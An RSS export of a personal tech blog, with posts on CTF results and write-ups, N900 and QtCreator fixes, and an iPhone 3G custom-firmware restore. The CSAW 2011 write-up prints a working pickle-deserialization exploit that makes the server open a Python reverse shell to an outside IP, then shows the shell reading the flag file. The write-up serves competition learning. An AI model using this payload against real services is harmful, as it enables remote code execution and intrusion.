<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>stuff</title>
	<atom:link href="http://blog.beford.org/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.beford.org</link>
	<description></description>
	<lastBuildDate>Sun, 26 Feb 2012 20:33:46 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>YUT Codegate 2012 CTF</title>
		<link>http://blog.beford.org/2012/02/26/yut-codegate-2012-ctf/</link>
		<comments>http://blog.beford.org/2012/02/26/yut-codegate-2012-ctf/#comments</comments>
		<pubDate>Sun, 26 Feb 2012 20:33:46 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Español]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[codegate]]></category>
		<category><![CDATA[ctf]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=297</guid>
		<description><![CDATA[Este viernes 24 de febrero empezó el Codegate 2012. Logramos terminar en el lugar número 38 de 182 equipos, como siempre ningún equipo de latinoamerica por encima de nosotros . El equipo no estuvo completo, Daniel solo participó un par de &#8230; <a href="http://blog.beford.org/2012/02/26/yut-codegate-2012-ctf/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.beford.org/wp-content/uploads/2012/02/codegate_banner.png"><img class="aligncenter size-full wp-image-298" title="codegate_banner" src="http://blog.beford.org/wp-content/uploads/2012/02/codegate_banner.png" alt="" width="504" height="48" /></a></p>
<p style="text-align: left;">Este viernes 24 de febrero empezó el Codegate 2012. Logramos terminar en el lugar número 38 de 182 equipos, como siempre ningún equipo de latinoamerica por encima de nosotros <img src='http://blog.beford.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . El equipo no estuvo completo, <a href="http://sinfocol.org">Daniel</a> solo participó un par de horas y yo tampoco hice gran cosa, la mayor parte del trabajo fue por <a href="https://twitter.com/#!/marceloje">emyei</a> y <a href="https://twitter.com/#!/_g05u_">gosu</a>. Nuestro scoreboard al final del evento fue:</p>
<p><a href="http://blog.beford.org/wp-content/uploads/2012/02/scoreboard.png"><img class="aligncenter size-full wp-image-299" title="scoreboard" src="http://blog.beford.org/wp-content/uploads/2012/02/scoreboard.png" alt="" width="680" height="406" /></a></p>
<p>Se nos escaparon un par de retos que ya teniamos <strong><em>casi</em></strong> resueltos pero bueno, para una proxima oportunidad será.  El rank final lo pueden ver a continuación:</p>
<p><iframe class="aligncenter" src="http://beford.net/ctf/codegate2012/" width="320" height="240"></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2012/02/26/yut-codegate-2012-ctf/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>N900 Mer boot to QMLViewer</title>
		<link>http://blog.beford.org/2012/02/14/n900-mer-boot-to-qmlviewer/</link>
		<comments>http://blog.beford.org/2012/02/14/n900-mer-boot-to-qmlviewer/#comments</comments>
		<pubDate>Tue, 14 Feb 2012 03:40:25 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[MeeGo]]></category>
		<category><![CDATA[Qt]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=266</guid>
		<description><![CDATA[The following kickstart files allows the n900 to boot into qmlviewer, I&#8217;m going to highlight just the bottom of it, with the next lines we create the launcher for the qmlviewer and then create a symbolic link to make it &#8230; <a href="http://blog.beford.org/2012/02/14/n900-mer-boot-to-qmlviewer/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>The following kickstart files allows the n900 to boot into qmlviewer, I&#8217;m going to highlight just the bottom of it, with the next lines we create the launcher for the qmlviewer and then create a symbolic link to make it the default desktop environment.</p>
<pre>cat &gt; /usr/share/xsessions/x-meego-qmlviewer.desktop &lt;&lt; EOF
[Desktop Entry]
Version=1.0
Name=qmlviewer session
Exec=/usr/bin/qmlviewer
Type=Application
EOF

# Set symlink pointing to .desktop file
ln -sf x-meego-qmlviewer.desktop /usr/share/xsessions/default.desktop</pre>
<p>Here is a video of N900 booting:</p>
<p><span style="text-align:center; display: block;"><a href="http://blog.beford.org/2012/02/14/n900-mer-boot-to-qmlviewer/"><img src="http://img.youtube.com/vi/XB-XPUVmNIs/2.jpg" alt="" /></a></span></p>
<p>And the full kickstarter file:</p>
<p><script src="http://pastebin.com/embed_js.php?i=tsapEBJR"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2012/02/14/n900-mer-boot-to-qmlviewer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fix for Failed to upload package: Failure on QtCreator</title>
		<link>http://blog.beford.org/2012/02/07/fix-for-failed-to-upload-package-failure-on-qtcreator/</link>
		<comments>http://blog.beford.org/2012/02/07/fix-for-failed-to-upload-package-failure-on-qtcreator/#comments</comments>
		<pubDate>Tue, 07 Feb 2012 15:32:52 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Maemo]]></category>
		<category><![CDATA[MeeGo]]></category>
		<category><![CDATA[Qt]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=268</guid>
		<description><![CDATA[Just got hit by this problem, whenever I tried to deploy my application: 11:06:04: Package created. 11:06:04: Installing package to sysroot ... Package 'untitled' installed. 11:06:04: Preparing SFTP connection... 11:06:04: Starting upload... 11:06:04: Failed to upload package: Failure 11:06:04: Deploy &#8230; <a href="http://blog.beford.org/2012/02/07/fix-for-failed-to-upload-package-failure-on-qtcreator/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Just got hit by this problem, whenever I tried to deploy my application:</p>
<pre>    11:06:04: Package created.
    11:06:04: Installing package to sysroot ...
    Package 'untitled' installed.

    11:06:04: Preparing SFTP connection...
    11:06:04: Starting upload...
    11:06:04: Failed to upload package: Failure
    11:06:04: Deploy step failed.
    Error while building project untitled (target: Harmattan)
    When executing build step 'Deploy Debian package via SFTP upload'</pre>
<p>And a notification warning about the little remaining data storage appeared on the device, which I wrongly ignored at first. The problem occurs because QtCreator tries to copy the debian packate to /tmp on the device, N9 for me, and it fails if the space is full. I managed to fill my /tmp partition (which is just 4Mb btw..) by testing some big application. Solution is, ssh to your device, check if you /tmp is full (df -h) and delete any .deb file left there by QtCreator.</p>
<pre>/home/developer $ df -h
Filesystem                Size      Used Available Use% Mounted on
/dev/root                 3.9G      1.7G      2.0G  47% /
devtmpfs                 10.0M    248.0K      9.8M   2% /dev
tmpfs                     4.0M      4.0M         0 100% /tmp
tmpfs                   512.0K    148.0K    364.0K  29% /var/run
..
/dev/mmcblk0p3            2.0G    197.7M      1.7G  10% /home
/tmp $ cd /tmp &amp;&amp; ls -al
total 4096
..
-rw-r--r--    1 user     develope         0 Feb  7 09:59 qstardict_0.0.3_armel.deb
-rw-r--r--    1 user     develope         0 Feb  7 10:06 qstardict_0.0.4_armel.deb
-rw-r--r--    1 user     develope   4116480 Feb  3 21:32 qxmpp_0.0.1_armel.deb
..
/tmp $ rm qstardict_0.0.3_armel.deb
/tmp $ rm qxmpp_0.0.1_armel.deb
/tmp $ rm qstardict_0.0.4_armel.deb</pre>
<p><strong>UPDATE</strong>: This is supposed to be fixed on QtCreator 2.5 according to <a href="https://bugreports.qt-project.org/browse/QTCREATORBUG-6859">https://bugreports.qt-project.org/browse/QTCREATORBUG-6859</a></p>
<p>Patch is here if you don&#8217;t want to wait <img src='http://blog.beford.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  : <a href="http://qt.gitorious.org/+qtcn/qt-creator/qtcn-qt-creator/commit/b7d02e08fa246f3d45c898dc2480143a372409f0">http://qt.gitorious.org/+qtcn/qt-creator/qtcn-qt-creator/commit/b7d02e08fa246f3d45c898dc2480143a372409f0</a></p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2012/02/07/fix-for-failed-to-upload-package-failure-on-qtcreator/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>CSAW 2011 &#8211; Reversing &#8211; Python 200</title>
		<link>http://blog.beford.org/2011/09/26/csaw-2011-reversing-python-200/</link>
		<comments>http://blog.beford.org/2011/09/26/csaw-2011-reversing-python-200/#comments</comments>
		<pubDate>Mon, 26 Sep 2011 06:43:41 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[csaw]]></category>
		<category><![CDATA[ctf]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=231</guid>
		<description><![CDATA[Python &#8211; 200 Points  nc csawctf.poly.edu 53080 When we connected to the port it was running a service Haderper: ----------------------------- &#124; Welcome to Haderper! &#124; &#124; Please enter your command &#124; ----------------------------- &#62; help Haderper v0.1-alpha Command help: help - &#8230; <a href="http://blog.beford.org/2011/09/26/csaw-2011-reversing-python-200/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<blockquote><p><strong>Python &#8211; 200 Points </strong></p>
<p>nc csawctf.poly.edu 53080</p></blockquote>
<p>When we connected to the port it was running a service Haderper:</p>
<pre>-----------------------------
| Welcome to Haderper!      |
| Please enter your command |
-----------------------------
&gt; help

Haderper v0.1-alpha

Command help:

help        - this screen
exec        - execute a command
derp        - derp a string
underp      - underp a string
logout/exit - disconnect

&gt; derp hi
UydoaScKcDAKLg==
&gt; underp UydoaScKcDAKLg==
hi
&gt;</pre>
<p>If we decode the base64 string we can see that it looks like a Pickle dump file:</p>
<pre>$ echo UydoaScKcDAKLg== | base64 -d
S'hi'
p0</pre>
<p>After several failed attempts to get a reverse shell or read command output (nc, ls >/dev/tcp, etc) and knowing that the daemon is running on python, we use a reverse shell written in python from <a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">reverse shell cheatsheet.</a></p>
<pre>
# credits for this code goes to <a href="http://mail.python.org/pipermail/python-list/2002-July/756407.html">Jeff Epler</a>
import pickle, new, base64

def nasty(module, function, *args):
&nbsp;&nbsp;&nbsp;&nbsp;return pickle.dumps(new.classobj(function, (), {'__getinitargs__': lambda self, arg = args: arg, '__module__': module}) ())

print "underp "+base64.b64encode(nasty("os", "system", "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"1.1.1.7\",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'")) 

$ python xpl.py | nc csawctf.poly.edu 53080
</pre>
<p>And our listening nc gets the remote shell:</p>
<pre>
$ nc -lp 8080
$ id
uid=1001(quine) gid=1001(quine) groups=1001(quine)
$ cd
$ ls
haderp.py
haderp.pyc
key.txt
$ cat key.txt
key{38d7721de7853c8e385e0ee177e3d15e7a21381bd461a20f631fd1f3048d22db}
</pre>
<p><strong>Key:</strong>38d7721de7853c8e385e0ee177e3d15e7a21381bd461a20f631fd1f3048d22db</p>
<p>You can see the code for the daemon <a href="http://pastie.org/2592716">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/09/26/csaw-2011-reversing-python-200/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hack.lu 2011 CTF – Python Crackme Solution</title>
		<link>http://blog.beford.org/2011/09/22/hack-lu-2011-ctf-%e2%80%93-python-crackme-solution/</link>
		<comments>http://blog.beford.org/2011/09/22/hack-lu-2011-ctf-%e2%80%93-python-crackme-solution/#comments</comments>
		<pubDate>Thu, 22 Sep 2011 01:00:47 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=237</guid>
		<description><![CDATA[Python Crackme This challenge&#8217;s hero, needs your help. Sadly, our Commander Sheen has lost his Pogo Stick. Without his Pogo Stick, Commander Sheen is not WINNING. Can you help him? Solve the puzzle and find out what space-tool could support &#8230; <a href="http://blog.beford.org/2011/09/22/hack-lu-2011-ctf-%e2%80%93-python-crackme-solution/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<blockquote>
<div id="challengeframe">
<h1>Python Crackme</h1>
<p>This challenge&#8217;s hero, needs your help. Sadly, our Commander Sheen has lost his Pogo Stick. Without his Pogo Stick, Commander Sheen is not WINNING. Can you help him? Solve the puzzle and find out what space-tool could support him. <a href="https://ctf.hack.lu/files/crackme.pyc" target="_blank">download</a></p>
</div>
</blockquote>
<p>After downloading the mentioned file, we can see it is a pyc file which can be run with python2.7, using the script provided here to review the <a href="http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html">structure of pyc files</a>  (if you are using 64 bits python make sure to change<em> struct.unpack(&#8216;L&#8217;, moddate)[0])</em> to <em>struct.unpack(&#8216;&lt;L&#8217;, moddate)[0])</em> to get it working.) we could see some stuff like how many arguments it required to run:<br />
<code><br />
24 LOAD_NAME                2 (len)<br />
27 LOAD_NAME                0 (sys)<br />
30 LOAD_ATTR                3 (argv)<br />
33 CALL_FUNCTION            1<br />
36 LOAD_CONST              28 (10)<br />
39 COMPARE_OP               2 (==)<br />
42 POP_JUMP_IF_TRUE        51<br />
45 LOAD_GLOBAL              4 (AssertionError)<br />
48 RAISE_VARARGS            1</code></p>
<p>Here len(sys.argv) == 10 should be true otherwise an assertion occurs</p>
<p><code> <br />
51 BUILD_LIST               0<br />
54 LOAD_NAME                0 (sys)<br />
57 LOAD_ATTR                3 (argv)<br />
60 LOAD_CONST               3 (1)<br />
63 SLICE+1<br />
64 GET_ITER<br />
65 FOR_ITER                18 (to 86)<br />
68 STORE_NAME               5 (x)<br />
71 LOAD_NAME                6 (int)<br />
74 LOAD_NAME                5 (x)<br />
77 CALL_FUNCTION            1<br />
80 LIST_APPEND              2<br />
83 JUMP_ABSOLUTE           65<br />
86 UNPACK_SEQUENCE          9<br />
89 STORE_NAME               7 (a)<br />
92 STORE_NAME               8 (b)<br />
95 STORE_NAME               9 (c)<br />
98 STORE_NAME              10 (d)<br />
101 STORE_NAME              11 (e)<br />
104 STORE_NAME              12 (f)<br />
107 STORE_NAME              13 (g)<br />
110 STORE_NAME              14 (h)<br />
113 STORE_NAME              15 (i)</code></p>
<p>All the arguments (from 1 onwards) are stored on a, b, c, d, e, f , g, h, i.<br />
<code><br />
116 LOAD_NAME                8 (b)<br />
119 LOAD_NAME                9 (c)<br />
122 COMPARE_OP               2 (==)<br />
125 POP_JUMP_IF_TRUE       134<br />
128 LOAD_GLOBAL              4 (AssertionError)<br />
131 RAISE_VARARGS            1</code></p>
<p>Some additional conditions appeared, b == c, c == g, g == h, g + b + c == 0.</p>
<p><code><br />
254 LOAD_CONST               7 (3)<br />
257 LOAD_NAME                7 (a)<br />
260 BINARY_MULTIPLY<br />
261 LOAD_CONST               8 (12)<br />
264 LOAD_NAME               10 (d)<br />
267 BINARY_MULTIPLY<br />
268 BINARY_ADD<br />
269 LOAD_NAME               11 (e)<br />
272 BINARY_ADD<br />
273 LOAD_CONST               9 (4)<br />
276 LOAD_NAME               12 (f)<br />
279 BINARY_MULTIPLY<br />
280 BINARY_ADD<br />
281 LOAD_CONST              10 (6)<br />
284 LOAD_NAME               15 (i)<br />
287 BINARY_MULTIPLY<br />
288 BINARY_ADD<br />
289 LOAD_CONST              11 (2194)<br />
292 COMPARE_OP               2 (==)<br />
295 POP_JUMP_IF_TRUE       304<br />
298 LOAD_GLOBAL              4 (AssertionError)<br />
301 RAISE_VARARGS            1<br />
</code></p>
<p>Here we get the next equation:</p>
<p><code>3*a + 12*d + e + 4*f + 6*i == 2194</code>.</p>
<p>There are 4 additional equations:<br />
<code><br />
-6 * a + 2 * d - 4 * e - f + 9 * i == -243<br />
a + 6 * d + 2 * e + 7 * f + 11 * i == 2307<br />
5 * a - 2 * d - 7 * e + 76 * f + 8 * i == 8238<br />
2 * a - 2 * d - 2 * e - 2 * f + 2 * i == -72<br />
</code></p>
<p>After <a href="http://www.numberempire.com/equationsolver.php?function=3*a%2B12*d%2Be%2B4*f%2B6*i%3D2194%2C-6*a%2B2*d-4*e-f%2B9*i%3D-243%2Ca%2B6*d%2B2*e%2B7*f%2B11*i%3D2307%2C5*a-2*d-7*e%2B76*f%2B8*i%3D8238%2C2*a-2*d-2*e-2*f%2B2*i%3D-72&amp;var=a%2Cd%2Ce%2Cf%2Ci&amp;answers=">solving the equations</a> we get:</p>
<p>a = 124,d = 71,e = 72,f = 100,i = 83</p>
<p>The additional values must be zero:</p>
<p>a = 124, b = 0, c = 0,  d = 71, e = 72, f = 100, g = 0 , h = 0, i = 83</p>
<p><code>$ python2 crackme.pyc 124 0 0 71 72 100 0 0 83<br />
sp4ceb4llz of st33l<br />
</code></p>
<p><strong>Flag</strong>: sp4ceb4llz of st33l</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/09/22/hack-lu-2011-ctf-%e2%80%93-python-crackme-solution/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Hack.lu 2011 CTF &#8211; Scotty&#8217;s last signal Solution</title>
		<link>http://blog.beford.org/2011/09/21/hack-lu-2011-ctf-scottys-last-signal-solution/</link>
		<comments>http://blog.beford.org/2011/09/21/hack-lu-2011-ctf-scottys-last-signal-solution/#comments</comments>
		<pubDate>Wed, 21 Sep 2011 22:41:26 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[fluxfingers]]></category>
		<category><![CDATA[hacklu]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=232</guid>
		<description><![CDATA[Challenge summary: Scotty&#8217;s last signal You might have heard about Montgomery Scott, the legendary chief engineer of the U.S.S. Enterprise. What you probably did not know is his passion for Video Games &#8211; especially really old classics. We recently lost &#8230; <a href="http://blog.beford.org/2011/09/21/hack-lu-2011-ctf-scottys-last-signal-solution/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Challenge summary:</p>
<blockquote>
<h1>Scotty&#8217;s last signal</h1>
<p>You might have heard about Montgomery Scott, the legendary chief engineer of the U.S.S. Enterprise. What you probably did not know is his passion for Video Games &#8211; especially really old classics. We recently lost contact with his transport shuttle and we think you should examine this old game file we recently recieved because he might have just put a message into there. This would make sense if he could not send a fully blown Space-Unicode message signal to avoid attracting any Borg ships in the sector&#8230; (Borg usually are very bad at video games) His passion for Beaming and Warping might be of interest for your analysis. <a href="https://ctf.hack.lu/files/mario">https://ctf.hack.lu/files/mario</a></p></blockquote>
<p>First we downloaded the attached file and checked to see what kind of file it is.</p>
<blockquote><p>$  file mario<br />
mario: iNES ROM dump, 2x16k PRG, 1x8k CHR, [Vert.]<br />
$ mv mario mario.nes</p></blockquote>
<p>iNES Rom is a format developed by <a href="http://fms.komkon.org/iNES/">Marat Fayzullin</a> to store Nintendo / Famicon games, and it&#8217;s also de name of its emulator.</p>
<p>After spending some time playing the game,  looking at the dissasembled game using <a href="http://fceux.com/web/home.html">FCEUX debugger</a> and reading about <a href="http://www.patater.com/nes-asm-tutorials">NES ASM</a>, I noted this wasn&#8217;t probably the easy way to solve it <img src='http://blog.beford.org/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> . But by playing it we could see that some messages on the game were changed, FLUX instead of MARIO, SADFACE instead of GAME OVER.</p>
<p>A couple of <a href="http://www.google.com/search?q=nes+editor">Google searching</a> led me to this tool to change strings of SMB rom, <a href="http://www.romhacking.net/utilities/690/">SMB NES Rom Text Editor</a> luckily is written in C # and can be run on Linux too with Mono.</p>
<p><a href="http://blog.beford.org/wp-content/uploads/2011/09/Screenshot-SMB-NES-ROM-Text-Editor.png"><img class="aligncenter size-full wp-image-233" title="Screenshot-SMB NES ROM Text Editor" src="http://blog.beford.org/wp-content/uploads/2011/09/Screenshot-SMB-NES-ROM-Text-Editor.png" alt="" width="746" height="468" /></a></p>
<p><strong>Flag</strong>:  IMSTILLALIVEHELPME</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/09/21/hack-lu-2011-ctf-scottys-last-signal-solution/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Campus Party Valencia 2011 &#8211; Premio ESET</title>
		<link>http://blog.beford.org/2011/09/15/campus-party-valencia-2011-premio-eset/</link>
		<comments>http://blog.beford.org/2011/09/15/campus-party-valencia-2011-premio-eset/#comments</comments>
		<pubDate>Thu, 15 Sep 2011 06:31:22 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Español]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[wgsbd]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=212</guid>
		<description><![CDATA[Esta publicación la tenia pendiente hace casi un mes, desde que recibí el premio entregado por ESET a nuestro equipo NULL Life por haber logrado finalizar de primeros el WGSBD2 organizado para Campus Party España.  Ya se ha publicado una recopilación &#8230; <a href="http://blog.beford.org/2011/09/15/campus-party-valencia-2011-premio-eset/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Esta publicación la tenia pendiente hace casi un mes, desde que recibí el premio entregado por ESET a nuestro equipo <a href="http://null-life.com">NULL Life</a> por haber logrado finalizar de primeros el <a href="http://www.securitybydefault.com/2011/01/wargame-sbd-i.html">WGSBD2</a> organizado para Campus Party España.  Ya se ha publicado una recopilación de las <a href="http://www.securitybydefault.com/2011/08/recopilacion-de-soluciones-para-las.html">soluciones WGSBD2</a> para los que esten interesados.</p>
<p>Las categorias del wargame fueron las siguientes:</p>
<ul style="padding-left:30px">
<li>Trivial</li>
<li>Networking</li>
<li>Binarios</li>
<li>Crypto</li>
<li>Web</li>
</ul>
<p>Agradecimientos a <a href="http://www.securitybydefault.com/">Security By Default</a> por un excelente Wargame, a <a href="http://www.campus-party.es/"> Campus Party España</a>, y por ultimo, pero no menos importante, <a href="http://www.eset.es">ESET</a> por patrocinar este tipo de eventos. Sin más preambulo el unboxing del premio, una Macbook Pro 15&#8243; (con ESET Cybersecurity) otorgada por ESET.</p>
<p>&nbsp;</p>

<a href='http://blog.beford.org/2011/09/15/campus-party-valencia-2011-premio-eset/20110816_013/' title='20110816_013'><img width="150" height="150" src="http://blog.beford.org/wp-content/uploads/2011/09/20110816_013-150x150.jpg" class="attachment-thumbnail" alt="20110816_013" title="20110816_013" /></a>
<a href='http://blog.beford.org/2011/09/15/campus-party-valencia-2011-premio-eset/20110816_014/' title='20110816_014'><img width="150" height="150" src="http://blog.beford.org/wp-content/uploads/2011/09/20110816_014-150x150.jpg" class="attachment-thumbnail" alt="20110816_014" title="20110816_014" /></a>
<a href='http://blog.beford.org/2011/09/15/campus-party-valencia-2011-premio-eset/20110816_015/' title='20110816_015'><img width="150" height="150" src="http://blog.beford.org/wp-content/uploads/2011/09/20110816_015-150x150.jpg" class="attachment-thumbnail" alt="20110816_015" title="20110816_015" /></a>
<a href='http://blog.beford.org/2011/09/15/campus-party-valencia-2011-premio-eset/20110816_016/' title='20110816_016'><img width="150" height="150" src="http://blog.beford.org/wp-content/uploads/2011/09/20110816_016-150x150.jpg" class="attachment-thumbnail" alt="20110816_016" title="20110816_016" /></a>
<a href='http://blog.beford.org/2011/09/15/campus-party-valencia-2011-premio-eset/20110915_022/' title='20110915_022'><img width="150" height="150" src="http://blog.beford.org/wp-content/uploads/2011/09/20110915_022-150x150.jpg" class="attachment-thumbnail" alt="20110915_022" title="20110915_022" /></a>

<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.beford.org/2011/09/15/campus-party-valencia-2011-premio-eset/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>iPhone 3G &#8211; Reparar error 1015 al actualizar a iOS 4.2.1</title>
		<link>http://blog.beford.org/2011/08/28/iphone-3g-reparar-error-1015-al-actualizar-a-ios-4-2-1/</link>
		<comments>http://blog.beford.org/2011/08/28/iphone-3g-reparar-error-1015-al-actualizar-a-ios-4-2-1/#comments</comments>
		<pubDate>Sun, 28 Aug 2011 06:08:56 +0000</pubDate>
		<dc:creator>Fernando M</dc:creator>
				<category><![CDATA[Español]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.beford.org/?p=189</guid>
		<description><![CDATA[Advertencia: No me hago responsable de cualquier daño que pueda ocurrir. El proceso que documento en la siguiente entrada es el que me funciono a mi.  Específicamente, el teléfono que se reparo fue un iPhone 3G, con baseband 06.10.00, este procedimiento ni &#8230; <a href="http://blog.beford.org/2011/08/28/iphone-3g-reparar-error-1015-al-actualizar-a-ios-4-2-1/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><strong>Advertencia</strong>: No me hago responsable de cualquier daño que pueda ocurrir. El proceso que documento en la siguiente entrada es el que me funciono a mi.  Específicamente, el teléfono que se reparo fue un iPhone 3G, con baseband 06.10.00, este procedimiento ni el firmware que se proporciona funcionara en otros modelos.</p>
<p>Primero intentare explicar porque se produce este error, muy seguramente tu telefono para poder liberarlo del Carrier Lock (abrirle las bandas, liberar la sim para que acepte otros operadores) la persona que lo libero instalo el baseband 06.10.00 para iPad en su teléfono, y luego uso ultrasn0w.</p>
<p>Este error se produce al intentar restaurar el iPhone, ya que iTunes no puede aplicarle el baseband nuevo que es &#8216;menor&#8217; que el que ya tienen instalados, lo cual vuelve &#8216;loco&#8217; a iTunes, por decirlo asi. Y si intentas actualizarlo con iTunes, el proceso nunca terminara correctamente y siempre te mostrará el mensaje &#8220;The iphone could not be restored. An unknown error occurred 1015&#8243;, sin salir del modo de restauración.</p>
<p><a href="http://blog.beford.org/wp-content/uploads/2011/08/Error1015.png"><img class="aligncenter size-full wp-image-201" title="Error 1015" src="http://blog.beford.org/wp-content/uploads/2011/08/Error1015.png" alt="The iphone could not be restored. an unknown error occurred (1015)." width="558" height="231" /></a></p>
<p>&nbsp;</p>
<p><strong>Herramientas necesarias:</strong></p>
<p>1) Redsn0w 0.9.6 o superior</p>
<blockquote><p>https://sites.google.com/a/iphone-dev.com/files/home/</p></blockquote>
<p>2) iPhone 3G 4.2.1 custom firmware</p>
<blockquote><p>http://www.fileserve.com/file/XYYxtvd/</p>
<p>http://www.wupload.com/file/126167650/iPhone1,2_4.2.1_8C148_Custom_Restore.ipsw</p>
<p>http://www.uploadstation.com/file/JWzG5Hh/iPhone1,2_4.2.1_8C148_Custom_Restore.ipsw</p>
<p>http://www.megaupload.com/?d=681MCLXO</p></blockquote>
<p>3) iPhone 3G 4.2.1 firmware oficial</p>
<blockquote><p>http://appldnld.apple.com/iPhone4/061-9853.20101122.Vfgt5/iPhone1,2_4.2.1_8C148_Restore.ipsw</p>
<p>http://www.iclarified.com/entry/index.php?enid=750</p>
<p>http://www.felixbruns.de/</p></blockquote>
<p>Lo primero que tenemos que hacer es usar Redsn0w para habilitar el modo pwned DFU, el cual nos permite cargar firmware customs al telefono. En Browse seleccionamos el firmware ACTUAL, si la actualizacion la hicieron por error con iTunes deben tenerlo ya en su carpeta:</p>
<p><strong>Mac:</strong> ~/Library/iTunes/iPhone Software Updates/<br />
<strong>XP : </strong>X:\Documents and Settings\&lt;User&gt;\Application Data\Apple Computer\iTunes\iPhone Software Updates<br />
<strong>Vista/ 7</strong>: <strong>X:\</strong>Users\&lt;User&gt;\AppData\Roaming\Apple Computer\iTunes\iPhone Software Updates</p>
<p>Copienlo a un lugar alterno para que tengan una copia de seguridad, iPhone1,2_4.2.1_8C148_Restore.ipsw. Seleccionen <em>Just enter pwned DFU mode right now </em>y sigan las instrucciones, una vez el telefono se encuentre en DFU, abran iTunes.</p>
<p>En iTunes, aparecerá que el telefono esta en modo de recuperación, la pantalla del telefono estará negra (esto es normal). Ahora  con Option (mac) ó Shift (win) presionado hacen click en <em>Restore</em>, y les debe aparecer el cuadro de abrir archivo, aca van a su carpeta de descargas y seleccionan el archivo<strong> iPhone1,2_4.2.1_8C148_Custom_Restore.ipsw </strong>y el proceso de restauración de este custom firmware iniciará.</p>
<p>Si todo salio bien, el iPhone debe arrancar sin problemas y tener el Cydia instalado, si el iPhone no reconoce la SIM card, muy probablemente tu telefono necesita el ultrasn0w para poder utilizar la SIM de tu operador movil, instalalo desde Cydia y todo deberia salir bien.</p>
<p>Este es el video con todo el procedimiento (ingles): <a href="http://www.youtube.com/watch?v=lKkront2s_0&amp;feature=feedlik">http://www.youtube.com/watch?v=lKkront2s_0&amp;feature=feedlik</a></p>
<p>&nbsp;</p>
]]></content:encoded>
